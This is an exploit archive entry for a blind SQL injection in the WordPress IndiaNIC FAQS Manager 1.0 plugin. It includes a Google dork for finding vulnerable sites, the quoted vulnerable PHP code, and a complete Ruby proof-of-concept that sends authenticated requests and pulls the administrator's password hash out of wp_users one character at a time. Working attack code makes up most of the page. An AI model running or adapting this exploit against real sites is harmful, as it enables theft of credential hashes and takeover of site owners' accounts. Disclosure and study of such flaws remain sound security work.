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WordPress IndiaNIC FAQS Manager 1.0 SQL Injection

WordPress IndiaNIC FAQS Manager 1.0 SQL Injection
Posted Mar 22, 2013
Authored by m3tamantra

WordPress IndiaNIC FAQS Manager third party plugin version 1.0 suffers from a remote blind SQL injection vulnerability.

tags | exploit, remote, sql injection
SHA-256 | 3d1a884edc47b4a97429ba801e284ca9de542f09d510a7f8693e162902fc8430

WordPress IndiaNIC FAQS Manager 1.0 SQL Injection

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# Exploit Title: WordPress IndiaNIC FAQ 1.0 Plugin Blind SQL Injection
# Google Dork: inurl:wp-content/plugins/faqs-manager
# Date: 21.03.2013
# Exploit Author: m3tamantra (http://m3tamantra.wordpress.com/blog)
# Vendor Homepage: http://wordpress.org/extend/plugins/faqs-manager/
# Software Link: http://downloads.wordpress.org/plugin/faqs-manager.zip
# Version: 1.0
# Tested on: Apache/2.2.16 (Debian) PHP 5.3.3-7+squeeze14 with Suhosin-Patc=
h (cli)

##############
# Description:
##############
# The "order" and "orderby" parameter is vulnerable for SQL Injection
# Example URL: http://127.0.0.1:9001/wordpress/wp-admin/admin.php?page=3Din=
ic_faq&orderby=3D<sqli>
# PoC take some time to finish (15min on my Testsystem).
# I could speed it up with Multithreading but I'm to lazy right now


#### Vulnerable code part (wp_list_table.php) #############################=
###################################
#
# function prepare_items() {
# $this->_column_headers =3D array($this->_columns, $this->_hidden_columns=
, $this->_sortable_columns);
# $sort_order =3D isset($_GET['order']) ? $_GET['order'] : "ASC";
# $orderby_column =3D isset($_GET['orderby']) ? " ORDER BY {$_GET['orderby=
']} {$sort_order}" : false;
#
# global $wpdb;
# if (is_array($this->_sql)) {
# if ($orderby_column =3D=3D false) {
# $data =3D $this->_sql;
# } else {
# $data =3D $this->_sql;
# usort($data, array(&$this, 'usort_reorder'));
# }
# } else {
# $data =3D $wpdb->get_results("{$this->_sql}{$orderby_column}", ARRAY_A=
);
# }
###########################################################################=
#####################################



#################################
#### Blind SQL Injection PoC ####
#################################
require "net/http"
require "uri"

$target =3D "" # EDIT ME #
$cookie =3D "" # EDIT ME # authenticated user session

# Example:
#$target =3D "http://127.0.0.1:9001/wordpress/"
#$cookie =3D "wordpress_a6a5d84619ae3f833460b386c064b9e5=3Dadmin%7C13640405=
45%7C86475c1a4fe1fc1fa5f1ebb04db1bc8f; wp-settings-1=3Deditor%3Dhtml; wp-se=
ttings-time-1=3D1363441353; comment_author_a6a5d84619ae3f833460b386c064b9e5=
=3Dtony; comment_author_email_a6a5d84619ae3f833460b386c064b9e5=3Dtony%40bau=
er.de; comment_author_url_a6a5d84619ae3f833460b386c064b9e5=3Dhttp%3A%2F%2Fs=
ucker.de; wordpress_test_cookie=3DWP+Cookie+check; wordpress_logged_in_a6a5=
d84619ae3f833460b386c064b9e5=3Dadmin%7C1364040545%7Cd7053b96adaa95745023b91=
694bf30ef; PHPSESSID=3D1h7f2o5defu6oa8iti6mqnevc7; bp-activity-oldestpage=
=3D1"

if $target.eql?("") or $cookie.eql?("")
puts "\n[!]\tPlease set $target and $cookie variable\n"
raise
end

$chars =3D ["."] + ("a".."z").to_a + ("A".."Z").to_a + ("0".."9").to_a
$hash =3D "$P$"
$i =3D 0 # chars index
$j =3D 4 # hash index


def sqli_send()
sqli =3D URI.escape("(CASE WHEN ((SELECT ASCII(SUBSTRING(user_pass, #{$=
j}, 1)) FROM wp_users WHERE id =3D 1) =3D #{$chars[$i].ord}) THEN 1 ELSE 1*=
(SELECT table_name FROM information_schema.tables)END) --")
uri =3D URI.parse("#{$target}wp-admin/admin.php?page=3Dinic_faq&orderby=
=3D#{sqli}")
http =3D Net::HTTP.new(uri.host, uri.port)
#http.set_debug_output($stderr)
request =3D Net::HTTP::Get.new(uri.request_uri)
request["User-Agent"] =3D "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8;=
rv:19.0) Gecko/20100101 Firefox/19.0"
request["Cookie"] =3D $cookie
resp =3D http.request(request)
if( resp.code !=3D "200" )
puts "something is wrong response =3D #{resp.code}"
raise
end
# In WordPress default settings there will no SQL error displayed
# but when an error apperes we don't get any result.
# The PoC search for "No record found" and suppose there was an error
return resp.body().match(/No record found/)=20
end

def print_status()
output =3D "HASH: #{$hash} try #{$chars[$i]}"
print "\b"*output.length + output
end

while( $hash.length < 34 )
if( !sqli_send() )
$hash +=3D $chars[$i]
$j +=3D 1
$i =3D 0
else
$i +=3D 1
end
print_status()
end
puts "\n[+]\thave a nice day :-)\n"


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